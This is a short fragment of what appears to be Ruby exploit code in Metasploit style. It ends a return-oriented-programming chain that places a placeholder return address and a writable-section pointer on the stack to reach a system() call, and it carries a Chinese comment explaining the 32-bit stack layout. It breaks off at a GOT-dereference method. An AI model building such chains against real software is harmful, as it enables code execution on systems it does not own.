0x41414141, # Garbage return address 卡在这行,上面指令执行时,会在0x41414141 push system 绝对地址,ret时进入 system函数调用,32位函数调用stack: func;ret addr;parameters... target['Writable'], # ptr to .data where contents have been stored ] return chain.pack('V*') end defdereference_got_de...